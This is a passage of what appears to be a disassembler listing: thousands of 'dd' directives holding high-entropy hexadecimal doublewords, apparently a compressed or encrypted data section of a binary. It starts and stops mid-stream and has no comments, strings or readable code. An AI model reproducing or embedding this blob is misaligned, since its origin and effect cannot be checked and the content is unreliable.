8C0D484Dh dd 0F61D899h, 49D049C7h, 0CCF0048h, 8E123CBCh, 7A5E3E00h dd 0B073A64Ah, 6702249Bh, 60D86110h, 3E2042E6h, 0E36F7422h dd 0A9A9DB90h, 1847BA5Eh, 38008AF5h, 45754E24h, 9FA5018Eh dd 0B972CCCFh, 0B71060C4h, 2CB2A901h, 48D0E85Eh, 0EFAF5984h dd 0D28C01Eh, 0AC014F2Fh, 0BA0A803Ch, 2C408185h, 0F492ED26h dd 0F3C800D7h, 8A05AE9Eh, 8205B1BCh, 63DF7410h, 88C411h dd 76C498B7h, 0F24E1E16h, 61D600D1h, 0BC4B1083h, 0E7242906h dd 539348DCh, 46DE5A01h, 41BC196Ah, 924CA548h, 97F4157Fh dd 0D900F08Ah, 2E90D275h, 0D829DCEAh, 1200D85Dh, 0AB03200Eh dd 156C91BDh, 0D834E0EBh, 3FA82224h, 71D47F20h, 75A803FAh dd 0D264E603h, 7CED313Bh, 5ED83D0Eh, 0C0E49526h, 22ACCEBFh dd 0DA6D00D6h, 0FF581216h, 3E009C4Ch, 0E5547565h, 0CE075DE0h dd 27D24631h, 5168C670h, 67F653F8h, 0F13C2C07h, 0C94C624Ah dd 897860C0h, 1DB6F785h, 0BA094977h, 1E198605h, 70510070h dd 0AF8FB6F6h, 538C252h, 364980DAh, 8448AA6Ch, 0FDBA05C6h dd 4077F4D6h, 0BFE94E1Ch, 600500Eh, 69841052h, 2E450BE4h dd 6D0C413h, 71D864BDh, 16CAB0Fh, 8EED203Eh, 1DA782EFh dd 9247147Ch, 20C404D1h, 0B14DCE2h, 0F34CA300h, 0B28E5F73h dd 81DB17F5h, 0E8FF0AA2h, 0E8D1164h, 806F6A10h, 2A9060B4h dd 0F7C10033h, 9E4EECEBh, 0AA02F6B7h, 0CA644F7Dh, 7A384640h dd 0C3E00032h, 8CD3DB56h dd 0EE1295C1h, 240EF9D0h, 0DC408086h, 189F7D65h, 39CEFEDDh dd 64314E75h, 2B9E89DEh, 98D601FCh, 20A702FCh, 71A6986Dh dd 6453D460h, 543D2EFEh, 0D8902A94h, 6A47610Ch, 52E0F943h dd 5001F065h, 0C81297ECh, 0FC61A4E6h, 0B808A213h, 0B02B80EAh dd 3EA35906h, 1105B109h, 0FE6018DEh, 2C29C0D6h, 0AC64131Bh dd 9C532924h, 6046E903h, 0F9210CDCh, 0D792CC9h, 7A2DE601h dd 0C40F2E10h, 7A556060h, 357205D8h, 538EB909h, 0A23C0088h dd 88AC65EAh, 0CCEF8300h, 0E5A0C448h, 9D4F09D0h, 0B787F3DAh dd 34D1C067h, 0CCFBB4FAh, 2CF2C4D5h, 54CB0204h, 0A387AF11h dd 63F3605Fh, 0E92A438Eh, 7B534086h, 0B4F8488Dh, 0B0F61900h dd 0EC694061h, 2FF00003h, 6BB1D1DDh, 609F4326h, 3BDC5B3h dd 0C33D1916h, 893C5A6Fh, 1E49EF52h, 3C2ED780h, 683EB8Bh dd 0D2229712h, 0A500219Ch, 981C6D25h, 0C05D74C3h, 449A6441h dd 8230E740h, 249530D8h, 0F53E1CC4h, 43C7ABDh, 0BCA13D79h dd 3083F29Ch, 0B9819E21h, 261B3018h, 520410h, 737B48C3h dd 0B308A12Ah, 1B060A0Ch, 0B212Bh, 0BB5FC9DDh, 7D91679Ah dd 0D700937Bh, 251285B3h, 0C64CF3h, 0AD9BC4F8h, 35C08CF2h dd 6B53A31Ch, 0FB68837h, 7FC41E08h, 0C8007D22h, 0D4B69C3Eh dd 60007DC2h, 0EB2C6A9h, 65B1F57Eh, 18F3C1F6h, 541BB9E4h dd 687E91C0h, 11C25Bh, 3D982808h, 7F03FD3Ch, 3528C3Dh dd 1B0109B2h, 0CE31003Fh, 4D58A99Dh, 0F9002AF8h, 4A3382F2h dd 6087F3E0h, 48A46101h, 840C6625h, 0B12C413Dh, 3B82300Fh dd 44BF4349h, 0CC53A418h, 35C1AA1h, 98E2D0BAh, 83C9C3E9h dd 0B3E06F44h, 9C59C2FCh, 37612B35h, 1CD541A4h, 9F51802Ah dd 0B29112D3h, 0C7B40471h, 0C7418EE8h, 0EA0720C5h, 0E026467h dd 0A136614Dh, 3D448749h, 0DE40A86Ah, 60AD4E7Ah, 0CEB31105h dd 9200066Eh, 0FB731A4h, 0C6C3FA80h, 0B9CB5338h, 0A2009D76h dd 0DA39C4EFh, 1F9B4648h, 0C0F5834Ch, 0FD89BBA4h, 0F8777259h dd 25427900h, 243B21BEh, 0D980F526h, 9DF451E3h, 0DF480197h dd 0E098003Ch, 234B7942h, 29FE6029h, 8B55456Eh, 9ED1903Ch dd 0ABCC4103h, 0C6B108h, 71379287h, 0FFD1230Ah, 0D9FA0B7Bh dd 0F9BA4502h, 40DBB14Eh, 4948FC30h, 9603344Dh, 0D7C1D43h dd 256EA006h, 18719329h, 0E9F25308h, 0CD003F09h, 61B49F0h dd 729F4Ah, 10FCED8Ah, 0E5DC6C0Dh, 1B390567h, 0AC00902Eh dd 89CC7801h, 4F01EE8Ah, 4E71239Ch, 0A843A5D9h, 2C297325h dd 0F33CA8Eh, 66E1A045h, 0FC2C37DCh, 0D0002044h, 0A3EE7182h dd 490383B9h, 0F50CAC0Fh, 0F3A1C7A4h, 64948B52h, 0E95AC318h dd 0DA02D818h, 0E8D37F05h, 41828E20h, 0A41C8085h, 3C099BC6h dd 35A4DBB4h, 27450113h, 8AF1BAF5h, 0B809AD41h, 5B3B8880h dd 1562CCCh, 0A3BEE7AFh, 800EAD79h, 428A2121h, 0E38E70h dd 0EA60AA19h, 0B555992Ah, 1538F948h, 7B80381Ch, 8C58FD00h dd 0B9CA9612h, 0DB100369h, 1473DE7h, 9ED85101h, 0B053ABBBh dd 602930F8h, 2D86B9F0h, 0E004E80h, 0E9C9BB7Ch, 0E62571h dd 0CF7824EAh, 0BF61A1ECh, 0AD58790Ch, 0F395104h, 7CCE411Bh dd 3D7FB9C2h, 26DB0BC0h, 0AA3E21C0h, 68EA5BBh, 29CA214Fh dd 5F7019F5h, 6DE8E300h, 2237EAAAh, 0CDD701DCh, 2996ADA0h dd 0A62987FFh, 13F1112Eh, 0CB3195B1h, 1DFB4991h, 91002750h dd 0A8CE8E42h, 8D09046Ah, 0C00D8139h, 0BFAA8018h, 0A4304789h dd 0F3BD882Ah, 1107B100h, 15FC2ED5h, 770E3AD7h, 0E7178087h dd 7A0F0209h, 4A3D1881h, 29D98C0Dh, 1181FDh, 5691596Eh dd 8F3F3ADDh, 6AD3818h, 4F9229h, 6A13FB7Ch, 0F5A1829Ch dd 0D7AE8D13h, 0F9EEF830h, 31DA1C8Bh, 4DA340DCh, 331B0951h dd 0A9DC8289h, 5E80005Ch, 344BF9E8h, 48321C3Ah, 60C7D9CCh dd 8403A7D4h, 0EF48A20h, 3A5A78A0h, 860B6180h, 4801D646h dd 0EC333976h, 4EE0F919h, 618C0023h, 41123A4Fh, 0F10013E3h dd 6742F3AEh, 6437F2h, 0AA69854Dh, 5B700483h, 302EB736h dd 1D4C4460h, 0B1305D00h, 4DD8B57Dh, 183C6438h, 1ED8804Fh dd 0AB13E970h, 0A0045F8h, 0A1397A78h, 3F383062h, 0D18E7929h dd 469B1400h, 943E0DABh, 90D907EFh, 16231C17h, 0D500A999h dd 84D875C3h, 639797Bh, 0E956552Bh, 0B730218Bh, 2C95A152h dd 13F50738h, 509D44F4h, 1BE32F7Dh, 0A198B903h, 0A05357ECh dd 3222272Ah, 5A41594Eh, 7A8B7D20h, 0FB040092h, 56A194C4h dd 69C26DB6h, 0F50DC91h, 44232801h, 4018825Eh, 9167D052h dd 31809780h, 1684834Dh, 19064907h, 5779F5B5h, 0C3930041h dd 0A34133D5h, 0DA3B4CE4h, 76E87044h, 5601A40Eh, 0B06880F9h dd 79529992h, 589D61D1h, 80601669h, 77266CB1h, 0C05378A4h dd 0DCBDB059h, 5C009E04h, 518ABBFDh, 19D2176Ah, 0D0619BB8h dd 44DE085Ah, 400AF58h, 21D0FC05h, 73B020F9h, 705562B4h dd 6521351Ch, 0E9809938h, 26931F9Ah, 0F57C8D62h, 36193E67h dd 28D88950h, 0F0C279BBh, 302714B1h, 4E22A09Bh, 720CAF00h dd 3F6738D3h, 102648A9h, 0C0806B88h, 33FA8F3Dh, 54D50075h dd 0A8658CADh, 4EF2688Eh, 5CE79E14h, 0DD228084h, 14DAFB3Fh dd 0D4DB9129h, 0B79B1C80h, 60C7257Fh, 0C407CF01h, 8F08880Ah dd 1816115Ch, 0C9514DB7h, 0C1C032Bh, 0F47CEEE3h, 6EF9A80h dd 0BEE6970Bh, 8B838012h, 7EA6DE44h, 0CC520969h, 249FCBh dd 92E74095h, 3B9B09BCh, 4187EC2Dh, 0D09A7E85h, 3F940CA3h dd 0C356200Ch, 3A4319Eh, 9C80DA65h, 0C17CD252h, 20C15ECh dd 298D2353h, 272E0F2Fh, 0EFC0DC19h, 479E46D2h, 0B0CD5000h dd 0FAD0ED4Eh, 176818A2h, 4078D14Bh, 3E2651C0h, 0D2B0A9h dd 0D9B744ECh, 0C10E3898h, 8F4EBC28h, 69C02377h, 368ED6ABh dd 1486E8A7h, 0ACE0913Eh, 4075D094h, 29C1A760h, 0B7566840h dd 911ADC22h, 4C8281D3h, 0DC4340BCh, 12101EA5h, 76741969h dd 4298ED6Ah, 0D22FFAA4h, 440405Ah, 1B5F3F88h, 0F8E44119h dd 0B00448B1h, 2CC6509h, 0D14EFFEh, 59C011D7h, 0D83D04EAh dd 4B0A13EBh, 0C7F88430h, 293301E6h, 9E806C5Bh, 7A1D6069h dd 0FA9D6D00h, 63993D15h, 3F0C2475h, 515A1188h, 4ED408CCh dd 7C5EAB01h, 55E19166h, 22AF198Ah, 0B2A40078h, 0C5F88AB4h dd 0EC9B7D2Ah, 871F75E2h, 5C80B528h, 7FE89FAFh, 1FA0006Eh dd 3EE3146Bh, 3D613807h, 0A2254469h, 723FFC30h, 881A05E9h dd 40D238B4h, 0FB409A9Ch, 43262FD0h, 443E942Bh, 8004913Fh dd 0FBDBF206h, 0B471CE46h, 0E308151Ch, 0D8C09683h, 0D29AFB0Dh dd 8E94841Ah, 9D39B340h, 1B00FBEEh, 80382F72h, 367328h dd 0B0D9DCA9h, 9498DA3Bh, 1FC86560h, 14059E8Eh, 8851D491h dd 363F9A81h, 4EB7C886h, 542FA4A8h, 59D88B00h, 6EBD78C6h dd 0A69D0728h, 0C0258626h, 1D6DFF77h, 4E4C761Fh, 60ACD740h dd 0A235B8Bh, 525120B5h, 514418DAh, 71C13F78h, 0DE8E91E2h dd 3459AD4h, 8289F9A8h, 64F0500Ah, 94909099h, 7AD86045h dd 0D8912833h, 9558A120h, 3864B712h, 0BB077700h, 0ADD8F533h dd 56600A9Fh, 111492E8h, 3EEF0059h, 32B1FDAFh, 74784CC4h dd 9B131CC3h, 0D6403102h, 451D6915h, 63DF80D8h, 7E5A23D5h dd 3369D603h, 0D7357D01h, 0AB0B3B00h, 0B6AD289Ah, 961501B8h dd 523F8CE0h, 0D2033CDh, 7823FFB7h, 5823D6F1h, 18683F09h dd 0CE86180Fh, 70A31939h dd 38085CA4h, 8931803Dh, 0C5700AF9h, 13A1AD00h, 0F3B0C3CBh dd 615C8Fh, 0B2D378C0h, 0D4006A3Bh, 9C9B56F6h, 7BD230Ch dd 0F5D269B3h, 99AF40A3h, 0E09015EFh, 0A919C44h, 0B89B1EAAh dd 0D0070040h, 4AA7E81Bh, 0D991400Ch, 6038C13Eh, 0FA257164h dd 0CC03ECD6h, 23EEF207h, 92583B62h, 84A3DA83h, 33AF690Bh dd 481AE8A2h, 61F82EA4h, 0D0104D48h, 72014149h, 7B169B45h dd 103222B0h, 7877E00h, 9C5C4D2Bh, 0C4CCB300h, 0E74B6B66h dd 0A56013Dh, 1CFE4AF6h, 86A05122h, 59780152h, 97D56180h dd 1D660AC4h, 5D486DFAh, 53D21034h, 0D69C6292h, 9940DA10h dd 0E09A806Ch, 6C08EC4h, 81965138h, 13DDBAFDh, 7070B1EDh dd 15692453h, 11044A40h, 0E3BC5133h, 22F45043h, 26EC60h dd 7F6C97C7h, 381BEE9Ah, 99294360h, 0A6C8FEh, 0DCAEBA23h dd 0DB793EE2h, 98203469h, 2DE51FCh, 0BE740AADh, 0CA80679Ch dd 0E03C986Eh, 7E50EC98h, 0A20F3A44h, 211693BFh, 571568B0h dd 0C4800112h, 0AEFD729Bh, 1CB04070h, 3830987Ch, 646E4166h dd 7B517A72h, 3B5000B7h, 43F067F7h, 0DB00A2A4h, 617D805Fh dd 0BA6CE5A0h, 4F2B2B00h, 485280C8h, 7D14DF29h, 17EF0E00h dd 3B9A1D3Ch, 0F033F569h, 0C2A4CF24h, 0D3222656h, 0E19A213Dh dd 903CC805h, 4301BC98h, 0C2B09278h, 8C23655Ah, 0F49CB403h dd 3E803664h, 0FA3DCB37h, 0AC3D2C62h, 8063C539h, 80C6D81Fh dd 9821CB42h, 0BD014004h, 7A898D79h, 0A0C8DEE8h, 4E5705ECh dd 5E62A4h, 0C302E0ACh, 0CCA611CEh, 14294900h, 0B4B9D664h dd 54D7000Ah, 3FB29A37h, 3340FF79h, 44BA5C56h, 0AD01AB80h dd 0E82A4412h, 0CB22E0B0h, 1169145Bh, 0AD80D854h, 84F5D1BAh dd 0EBD4BB0Fh, 86302945h, 3051B31Ch, 60599323h, 0E800A08Fh dd 0FAD3A2DBh, 4397C5Fh, 8CD6FF7Dh, 52C8824Eh, 3F51AF20h dd 3B69F628h, 38D42E1Eh, 0C4C73AAEh, 0E70FAF03h, 0A1846AF1h dd 3A344284h, 0E21D4720h, 22A8904Bh, 18986CDDh, 47116CB9h dd 21F3C50h, 7ABDCBA9h, 618B15h, 65421740h, 138C6C7Eh dd 1411B003h, 400408E4h, 47683810h, 0AFE07907h, 7CF8C2h dd 0C402FA6Eh, 3560D97h, 0A3E914A8h, 15D3700h, 1CACA783h dd 0D2AE0E6Ch, 0E804F0EEh, 814E4936h, 97BE56F0h, 6193442Ch dd 2989B7A8h, 0CAD0570h, 94019992h, 9B4DE0DCh, 373F8441h dd 439BF01h, 0E000C4A2h, 3E6A108Dh, 0E33E11ADh, 89908D03h dd 28D33940h, 441CEC70h, 697C8037h, 5F708102h, 664DAF01h dd 0AE790054h, 59DE3603h, 6000C049h, 41A5C7C9h, 0E03F7BB7h dd 58BD011Ch, 0A3BBAF5Dh, 708C2D78h, 995BA601h, 2CAAC983h dd 0F8481C29h, 0B22748C3h, 0A8706DA0h, 11003076h, 1A714C3Ch dd 71771B56h, 0B1DC6B78h, 408FC004h, 1B4B0571h, 35D10063h dd 0E47633C0h, 6600D945h, 0BF4956Fh, 943F9923h, 8108B5C4h dd 80427868h, 57CC06A1h, 2D77E9h, 97550CAh, 8BDD7BF1h dd 34960E01h, 38696FCBh, 9988082Ch, 6EF92D80h, 5402C05Fh dd 6F388035h, 4E0D965h, 60940347h, 7E9E500h, 19C8E4AFh dd 0C9A30795h, 15282E46h, 1C8802BDh, 0A084415Dh, 0E90C8822h dd 3933F100h, 497CED44h, 0E3A2025Bh, 0B037D527h, 0DE5CF3E1h dd 424598ECh, 1111C43h, 48A48262h, 247AB007h, 23883EA8h dd 669C098h, 0DE73305Ah, 637EEB00h, 0C31C8875h, 50602443h dd 41E82448h, 0DC0E44F8h, 0AA0286DFh, 9B8880D8h, 0A19C49E8h dd 0E500C833h, 3F6069BDh, 910546A5h, 5CE6C5F3h, 7EE85009h dd 7E9F1C13h, 9B24113Eh, 3028138Ch, 0DE404530h, 0FF019CE0h dd 7CD0C307h, 78E083C6h, 0D84F488Eh, 18B55614h, 25DF9117h dd 9F448200h, 0E86C3F22h, 4B06A210h, 3EBC4022h, 211D2D27h dd 7115ED03h, 0B0DCA517h, 7B4460B2h, 11281CB6h, 0C04C7847h dd 25202BC0h, 333DB8C2h, 0EA8F820Fh, 83F3C49Ah, 6938DCh dd 79353129h, 2C56B2E5h, 0B342B700h, 3EE9DD95h, 237C189Ah dd 7FA98994h, 534DB700h, 0AD0CC6FDh, 7D190510h, 4AF7515h dd 0E2827490h, 8E250044h, 78B7DDEBh, 70A709CBh, 0C83462Fh dd 968B239Dh, 0BD59291Fh, 0AAFBDE40h, 48E534FFh, 8E22308Ah dd 95071700h, 0EC3E9287h, 9EB01DB4h, 8202417Dh, 0E5B52A76h dd 3498D5DAh, 317AD0D4h, 263F4605h, 0B8083E8Ch, 9EE8427Bh dd 6A65AB20h, 52900477h, 3A074CEh, 4F511F69h, 766C3020h dd 5E00EE90h, 43064204h, 58165D4Fh, 3968209Ah, 54DA08ECh dd 1942388Ch, 0AFE1013Ch, 0E837F741h, 682380h, 34C52D1h dd 0EA5EDC56h, 793B62B7h, 2CC10E69h, 16942360h, 8C141F0Ch dd 53D8D90Ch, 81413811h, 4DBDDD71h, 0F1EC102Ch, 0A79B2C28h dd 1010A574h, 0CE013C97h, 6BA23D66h, 0CC339847h, 9F9B6809h dd 0D86FA580h, 0E40ADF0Dh, 2065CC78h, 0AAC1049Fh, 40E7A56Ah dd 88879FFDh, 48D552A8h, 0E44BA4BCh, 69144C20h, 48685F13h dd 11B33AB0h, 0C9006637h, 88298D81h, 0EB30919Eh, 0D6EE98FCh dd 0CEBC0080h, 0F728A80Eh, 0E97DE89Fh, 0DB4A91FCh, 0B01BA420h dd 0E6F04844h, 0F00BDE19h, 7E2E1056h, 3BC00CEh, 334D1646h dd 4073B068h, 0AC583750h, 0E1771F01h, 235B84F9h, 31804038h dd 0A48FC0D5h, 0BF4E5E1Eh, 9355BD41h, 10DCE52Ah, 62170B34h dd 5090B703h, 200E4308h, 0A036784Bh, 0B0721076h, 628100E6h dd 0DE52402Dh, 0D6123A4Ch, 0F0C89B15h, 0DF3E019Fh, 0AED86D5Dh dd 307061A4h, 0D70175A8h, 850B8A3Bh, 0C634E9Bh, 40681C1Ch dd 0F757F9BAh, 0C81DB5D8h, 0A8C92108h, 9BFB8034h, 17B00639h dd 0E04A99h, 50414511h, 5860B798h, 2730F579h, 0C0AA2685h dd 0D08A146Dh, 0A863E500h, 0D2699A6Ch, 0C8A0782Eh, 889E6B08h dd 27BE5516h, 169496D9h, 0C3966DEh, 56B15EE4h, 5850C04Eh dd 20CD2784h, 0DEC50D00h, 0E07F5023h, 20665B0Eh, 0D76BA690h dd 0BE246102h, 6AACB6B8h, 2ED098E4h, 0CDCA48DBh, 6680A23Ch dd 0DE1918E0h, 0B9CE35A6h, 1C1191AAh, 60205A50h, 2F31E45h dd 3F8B0BA8h, 40DF404Bh, 1710AF9Dh, 5A22D6BEh, 68C13068h dd 92F42279h, 0FA2D3F00h, 16F972F8h, 886D2340h, 53387E38h dd 22F84C48h, 5FBF893h, 52112CEAh, 9B8420D4h, 23251CA1h dd 150CA247h, 386C2160h, 3A002891h, 12D3AF4Eh, 4CB0690Ch dd 3EEDE091h, 0A89B2E01h, 0AF47D3C4h, 25AA8099h, 0F90CCA0Ch dd 903F7308h, 10E0BADh, 4C647B27h, 0E5DCCCF3h, 0F8BC9509h dd 0BA3D8008h, 23DCF8Bh, 4417EEFEh, 60E41B99h, 0CD0050A6h dd 0D6F2D4Dh, 93C4BAh, 65D0313h, 2FC18FE1h, 7C408B13h dd 3C8A1C16h, 2D009622h, 4D2A6E2Ch, 0E0FCE847h, 0EC382CCAh dd 0D553969Ch, 0BEA43018h, 0A2D2B6Ch, 380C23CBh, 9C3140B9h dd 565744D5h, 0C89DB429h, 52C16238h, 324C64D7h, 0C3219023h dd 91F3BD80h, 0B800798Dh, 0DACE48D3h, 0B4B38AAAh, 8800A5ACh dd 0A871C610h, 9EC17D02h, 0E25CB042h, 1764E49Ch, 13EBF8B6h dd 6930C3E2h, 78A888A4h, 278458BCh, 4FC10896h, 9830D51Bh dd 8E468841h, 71289A00h, 2FDA7696h, 0E6523945h, 10043F2Fh dd 31340C9Dh, 5F7A47h, 0D8A4337Ah, 6C9F3B83h, 2838E724h dd 228C4794h, 20235A50h, 0FA6EA814h, 601E6811h, 6A38690Ch dd 4901E259h, 315F2B40h, 9EDC6345h, 238759Ah, 22F8609Fh dd 0D84164C2h, 6860C2ABh, 2813EFCFh, 14CC50FAh, 413F5F07h dd 0BE566944h, 9840439Eh dd 0C8003872h, 0A35F74Eh, 0ECA49D0h, 417175FCh, 43691205h dd 537F6850h, 9A8265B0h, 0CA810C91h, 71B57AA7h, 780EC38h dd 2F24C613h, 0C3BD0E1Ch, 7218D1C0h, 74604BA8h, 0F7FD16DCh dd 10108A79h, 0B7299ED8h, 0CF0F03DCh, 0C1E85B50h, 98090D12h dd 4D9EA0Ch, 23576370h, 7200D41Ch, 1042FF2Ah, 48C396Bh dd 1F080D0h, 3598F438h, 15FFF601h, 56785247h, 0F1CED050h dd 0B11801C3h, 85822DDCh, 2192F015h, 2CB45C38h, 0E71AA1D4h dd 144CCCA0h, 641568AFh, 0F3D0FB00h, 11B0DDBBh, 91193C61h dd 30AE3BD8h, 0C0866114h, 0F4E47845h, 0AA0038E2h, 0A211FE12h dd 0B5828C4h, 57913C5h, 0BF562C81h, 5ED6EC4Ch, 0D88205Ah dd 0B0004662h, 2BBD77C2h, 5DA62Ch, 0B99EFCD0h, 72EBE9FBh dd 0A0653F18h, 884917C8h, 0B1C74179h, 6DA066C0h, 56B40Ah dd 5DC51349h, 0E3B5AED7h, 37FE7B4Ch, 342F846h, 0F5A8E148h dd 9A5EAB10h, 0B88C354Ah, 0DF8D1223h, 320A1352h, 0CCE65870h dd 5F31F81Dh, 3C8BC0Eh, 9A907D52h, 812065D3h, 0E6791754h dd 0C9FFFC60h, 49EBB016h, 0AC220EAAh, 0C8D49126h, 0C1C39496h dd 0C0F5FA99h, 3E92CE4Ah, 0E28EEF56h, 99364D7h, 2C657560h dd 89B9AF09h, 0B70083B0h, 78B12939h, 0BABE00ECh, 0A7907CEEh dd 0CAD03500h, 8A99F61Ah, 0C6F8B57Bh, 0BF3D0802h, 0D19FCC38h dd 748D0EA0h, 37FBA780h, 0BA2C783Fh, 21E38439h, 6D7ED08Ch dd 0F2130E97h, 5E8005BEh, 0DA529A6Eh, 0F0A4449Eh, 0BD1FD960h dd 70C200F3h, 6324EA1h, 0EC9C2526h, 94FA014Bh, 39FD4D09h dd 53C22DCh, 0A5E28B59h, 1704B28h, 9C002064h, 0F7C9702Bh dd 0EC322E04h, 18C92ABh, 4043272Ah, 300262A8h, 628A591Ch dd 885CD1C4h, 14403806h, 2293CBEh, 28088887h, 1CA41B69h dd 410962D8h, 0C8158D74h, 0EC00490Ch, 38748BDBh, 40F7EB1h dd 7A79E6E4h, 80E0AC12h, 95850210h, 535F04CEh, 0A20C4D42h dd 29BB00F0h, 67C2AACDh, 1DDA0C49h, 616179ABh, 0B5BB8901h dd 9A6D0D4Ch, 47C2BC78h, 24A001A4h, 5AE1EC3h, 79970F02h dd 6AFD0BD4h, 0DA4CC018h, 72F2EB28h, 8AFF0194h, 709836CBh dd 50854106h, 7946C42h, 0E956595Ah, 3FF059E9h, 0C37C27C4h dd 55290163h, 5D58C11Ch, 63874868h, 0DA2BA03Fh, 8500E55Bh dd 78D01714h, 25D6D333h, 3C906A8Ch, 9E1FF847h, 0E0C1B8E5h dd 3E8ED8C1h, 7302F033h, 0A30E197Dh, 718C24C1h, 90282BFCh dd 36BECA6h, 2B4F278h, 48169D70h, 0BC30A46Ah, 0BCDFD7Dh dd 3335B787h, 16685C01h, 9C335Ch, 0DAE4A71Ch, 9C983F43h dd 0A1DC40BCh, 0A9E0CF5Fh, 0F602A6E8h, 0F41A556Ch, 18C0688Fh dd 0B0658860h, 10A7992Dh, 53AF44h, 0D4D2282Bh, 0B70D5621h dd 3C58DA02h, 60015940h, 70D387h, 8B203D5Ah, 47389B54h dd 0F812A27Ah, 5820D252h, 1CB0EA9Ah, 3CCF956h, 398F0726h dd 4003484Ah, 0F0D43F29h, 90492E0Dh, 91A10AADh, 4394C056h dd 3F87E140h, 9B0AAA60h, 5617014Eh, 3400C111h, 0D9D43EFAh dd 46241774h, 1F7C434Dh, 8082AA62h, 8603F046h, 45C6B4F6h dd 1F2FA77Fh, 0B72A2682h, 0F6B02051h, 7475A441h, 0BC25CB0Eh dd 0DF5860DBh, 0DC350F7h, 84C25607h, 3C942051h, 466A4484h dd 0A11B8B00h, 5D06699Dh, 484CE8B0h, 17D3BEEh, 1E1DBF50h dd 709A6CA3h, 0C18B3DA4h, 0E0D8E732h, 2EB70002h, 1C3616BEh dd 0F1E8E8B2h, 60511738h, 285560F8h, 0D8C753BDh, 0C6292700h dd 585C29Eh, 0C481E825h, 97CC0098h, 95097D1Fh, 0DD018FD5h dd 0A0732692h, 38F828FCh, 693A1748h, 0CA10136Fh, 2D260078h dd 9207EAFh, 465124ABh, 9E9DE0E8h, 2CB4BA56h, 0BF32E144h dd 0BDF1710h, 5B8B6FA8h, 8DABACB1h, 118ABAD8h, 0DCC80Ch dd 0A8AB7D25h, 42346C63h, 0FE3C7124h, 5887DE1Ch, 98FB1C9Eh dd 905C7Ch, 66C1FB47h, 3B1B910Ch, 100A5304h, 3A40221Ch dd 9539E046h, 4D5AD875h, 83A5D833h, 2FE9B0C9h, 0BB6C008Ah dd 6F159FBDh, 134A68B0h, 68C28h, 0C8792408h, 0E8017156h dd 0D9273B05h, 0BCB42387h, 443000F8h, 74A34BC6h, 0D602470Bh dd 50EABD3Dh, 824A6322h, 1D5C4881h, 0FC090725h, 0B897E9h dd 4B26B3DAh, 0E0919890h, 0DE2CD780h, 0FB4864h, 809674D8h dd 0E853D6A4h, 9B529E16h, 64A9FE0Fh, 30ADB556h, 0B068400Ah dd 575C1DA7h, 0E9C4218Ah, 9C6C208Bh, 2D9EB084h, 54817B9Bh dd 104D7821h, 0A8803E4h, 16E29572h, 0D0186BE8h, 0C1F3CA5h dd 7C007F86h, 13F071F4h, 1A5202EBh, 1169896Ch, 4E583054h dd 48EC9047h, 5C9F18C0h, 0DD9B0BD6h, 2411880Fh, 81029653h dd 0E65A1769h, 0C6BC0180h, 919AD3AEh, 2C222BE0h, 5AC85EB4h dd 0B996B873h, 1C5B7600h, 7F71159Ah, 0D0C8F97Dh, 9741708Eh dd 45703007h, 0AEC43051h, 0CF00B8EEh, 0B50F2F46h, 184D45F5h dd 48B0D1D7h, 9095AF99h, 1109A4h, 0D8BD6ECDh, 6B4DD6FFh dd 0C5069C0Fh, 9F4C4074h, 4B4147Eh, 6DE8A839h, 0C0FCA83Fh dd 0CED542Fh, 9D7500ECh, 0BFEA97B7h, 1F7DC259h, 2966CE00h dd 0E6A0346Eh, 9B090BE3h, 8CE0F3B8h, 244E6269h, 0A80A427h dd 327DF40h, 0A897F392h, 50989698h, 9501AA67h, 83DB6393h dd 0A843206Ah, 2342ECD9h, 0A0D21D69h, 9B860E12h, 0EB3ED833h dd 0CBBCEC0Bh, 0F96AC40h, 0DA93FFE7h, 11D6B0C0h, 4F60B74Eh dd 135CE31h, 7F0079Bh, 4748B908h, 70F59080h, 0E309AEEBh dd 1840AB98h, 1E57C640h, 897F5C1Ch, 0C090DF91h, 0C1886937h dd 53310077h, 0F5A59430h, 0A200D014h, 7E203867h, 1C479B87h dd 96691268h, 6F1C8845h, 888F2388h, 200022E3h, 9C86C30Eh dd 0D51F51h, 5578832h, 0D7085D45h, 0DB900F50h, 245117FFh dd 21F3D63Fh, 0DA1E5560h, 8B13F8E2h, 0B6D46CE0h, 78D0AB2Eh dd 0CA01E09Ch, 228BB43Eh, 70005069h, 0D9B6BEAh, 0CF0E9EF0h dd 635A76ADh, 0E589AEE6h, 70829895h, 444CC461h, 15E61C50h dd 0E85456EAh, 0E84DF10h, 171ABF23h, 6CD40037h, 3C12B6D8h dd 0A4583898h, 0D77413CCh, 17529400h, 9053F8DCh, 11C90F8h dd 0FFD069E1h, 0D44DC4A6h, 0D9C6A93Eh, 44E82861h, 10990140h dd 30B9FA80h, 1F83FE42h, 40DAFD36h, 814BCE15h, 4C9E37C1h dd 0C5E5258Fh, 0F0C08D32h, 2890FA5Ah, 0E05CAFDDh, 589C041Bh dd 0C20B9A67h, 40C69774h, 0FEAF5144h, 5F820938h, 0DC98F6F7h dd 76008DB8h, 0C5D9646Bh, 0FE6ADC62h, 534D1D4Ch, 0C3E3C513h dd 0B7548287h, 9940A051h, 0AC4478h, 9176503Fh, 1F895E41h dd 3923480Bh, 6DF884D0h, 0E81B6944h, 52F0A76Ch, 63B548h dd 0D787AE59h, 206268C9h, 0EE2ACE00h, 0A40AA3Ch, 70F905CFh dd 0C7FCDA09h, 0A9921674h, 0D6D63CA1h, 0BCBAAD21h, 70BDCD70h dd 20804EA1h, 87C9CD68h, 0FC6CFE00h, 0E3F64119h, 92280193h dd 790E826Fh, 361DF0F0h, 9EA45D50h, 0E8F9A888h, 6851826Ah dd 24701907h, 0FCCA0180h, 0A16705A6h, 913A60ACh, 1586BDECh dd 0AE423408h, 0D16940B4h, 67007656h, 3E48DE51h, 1293AF57h dd 0A25302F4h, 559DC0B8h, 12D6C7EAh, 2970AF4h, 9B21AF78h dd 83C35720h, 0E1920017h, 0FB459C0Ch, 3E16F4DAh, 7410E4D6h dd 2C084F98h, 3E8A449h, 232B3DE5h, 0C30049E6h, 0DEAB0A28h dd 1D103963h, 0FCCBDBCAh, 9B220F75h, 40B6E29Dh, 0F56B12D4h dd 1FF0FCD7h, 59DD27F4h, 3D590103h, 30104A6Fh, 58565774h dd 0B3F3A600h, 0A2EED4F0h dd 94ECB052h, 6C81402Ch, 0B902B5CAh, 52FB92F6h, 2D90C6D8h dd 0DC105E15h, 7416E9C5h, 0D4A4D0D2h, 10408860h, 8A0AE502h dd 0F9B36AC8h, 5D3C0040h, 287D0762h, 13871704h, 58C46EE2h dd 0E418CC09h, 43DA3028h, 0D38511E8h, 9C3370E1h, 0E040784Fh dd 